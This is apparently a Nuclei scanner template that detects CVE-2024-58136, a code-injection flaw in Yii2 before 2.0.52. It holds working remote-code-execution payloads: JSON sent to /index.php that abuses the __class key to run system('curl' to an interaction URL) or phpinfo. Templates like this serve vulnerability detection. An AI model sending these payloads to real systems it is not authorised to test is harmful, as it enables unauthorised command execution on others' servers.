id: CVE-2024-58136

info:
  name: "Yii2 - Code Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Yii 2 before 2.0.52 mishandles the attaching of behavior that is defined by an __class array key, a
    CVE-2024-4990 regression, as exploited in the wild in February through April 2025.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2024-58136&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=yii2&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-58136
    cwe-id: CWE-94
  metadata:
    verified: false
  tags: cve,cve2024,yii2,rce,php,framework,kev,vkev,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: word
        words:
          - "Yii"
        internal: true

  - raw:
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"as hack": {"__class": "GuzzleHttp\\\\Psr7\\\\FnStream", "class": "yii\\\\behaviors\\\\AttributeBehavior", "__construct()": [[]], "_fn_close": "system", "stream":"curl {{interactsh-url}}"}}

      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"as hack": {"__class": "GuzzleHttp\\\\Psr7\\\\FnStream", "class": "yii\\\\behaviors\\\\AttributeBehavior", "__construct()": [[]], "_fn_close": "phpinfo"}}

    matchers-condition: or
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        words:
          - "PHP Version"
          - "PHP Extension"
        condition: and